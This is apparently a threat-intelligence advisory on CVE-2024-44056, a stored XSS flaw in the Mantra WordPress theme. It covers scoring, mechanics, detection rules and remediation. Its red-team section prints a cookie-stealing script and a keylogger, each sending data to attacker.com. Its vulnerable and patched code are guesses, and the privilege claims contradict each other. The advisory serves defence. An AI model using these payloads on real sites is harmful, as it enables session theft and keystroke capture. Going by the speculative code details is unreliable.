CVE-2024-44056

Executive Summary

CVE-2024-44056 is a Stored Cross-Site Scripting (XSS) vulnerability in the Mantra WordPress theme developed by CryoutCreations. The vulnerability affects all versions up to and including 3.3.2. An attacker with low privileges (e.g., a subscriber or author) can inject malicious JavaScript into the theme’s input fields, which is then stored and executed in the browsers of other users (including administrators) when they view the affected page. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public proof-of-concept or exploit code has been released.

Supply Chain & Package Security

This vulnerability is in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Users should verify the integrity of their theme files and ensure they are obtained from trusted sources. The theme is not managed via NPM, PyPI, Go, or Ruby packages.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – but requires user interaction (UI:R)
• User Interaction: Required (UI:R) – victim must visit a crafted page
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is Medium due to the requirement for user interaction and the limited impact. However, in a WordPress context, a stored XSS can be escalated to full site compromise if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability resides in the Mantra theme’s improper neutralization of user-supplied input during web page generation. Specifically, the theme fails to sanitize or escape output in certain template fields (e.g., post titles, comments, or custom fields). An attacker can inject JavaScript code into these fields, which is then stored in the WordPress database. When any user (including administrators) views the page containing the injected content, the script executes in their browser.

Attack Flow:

1. Attacker registers as a low-privilege user (e.g., subscriber).
2. Attacker crafts a post or comment containing a malicious payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without proper sanitization.
4. An administrator or other user visits the affected page.
5. The script executes, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

The root cause is the lack of output escaping functions (e.g., esc_html(), esc_attr()) in the theme’s template files.

Vulnerable vs. Patched Code

Vulnerable Code (Mantra <= 3.3.2):

// In a template file, e.g., header.php or single.php
echo get_post_meta($post->ID, 'mantra_custom_field', true);

Patched Code (Hypothetical fix):

// Properly escape output
echo esc_html(get_post_meta($post->ID, 'mantra_custom_field', true));

The patch would involve wrapping all dynamic output with WordPress escaping functions. Since no official patch is available, users must manually apply this fix or disable the theme.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site running Mantra theme <= 3.3.2.
• A low-privilege user account (subscriber or author).

Steps:

1. Log in as the low-privilege user.
2. Create a new post or comment.
3. Inject the following payload into the title or content field:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Publish the post or submit the comment.
5. Wait for an administrator to view the page. The script will execute and send the admin’s session cookie to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team (Defender)

Detection:

• Monitor for unusual JavaScript in post content or comments.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Enable WordPress security plugins (e.g., Wordfence) that scan for malicious code.

Hunting:

• Search the database for <script> tags in wp_posts.post_content and wp_comments.comment_content.
• Review server logs for requests to external domains from the WordPress admin area.

Lab Setup:

• Use a local WordPress installation with the Mantra theme.
• Create a test user with subscriber role.
• Inject a benign payload (e.g., <script>alert('Test')</script>) to verify the vulnerability.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• File: Modified theme files (e.g., header.php, single.php) containing echo statements without escaping.
• Database: Entries in wp_posts or wp_comments containing <script> tags or obfuscated JavaScript.
• Logs: Repeated 404 errors for /wp-admin/admin-ajax.php with suspicious parameters.

Detection Engineering

YARA Rule

rule Mantra_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Mantra theme content"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-44056"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $mantra_theme = /wp-content\/themes\/mantra/i
    condition:
        $mantra_theme and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Mantra WordPress Theme
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Mantra theme posts/comments
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44056 Stored XSS in Mantra Theme"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Mantra theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
2. Manually patch the theme by adding esc_html() or esc_attr() to all dynamic output in template files.
3. Use a Web Application Firewall (WAF) to block XSS payloads.

Long-Term Fix:

• Monitor the CryoutCreations website for an official update (version > 3.3.2).
• Consider migrating to a more actively maintained theme.

Workaround:

• Restrict user registration to trusted users only.
• Disable comments or use a plugin to sanitize comment input.

Valters IT
DevSecOps & Cyber Threat Intelligence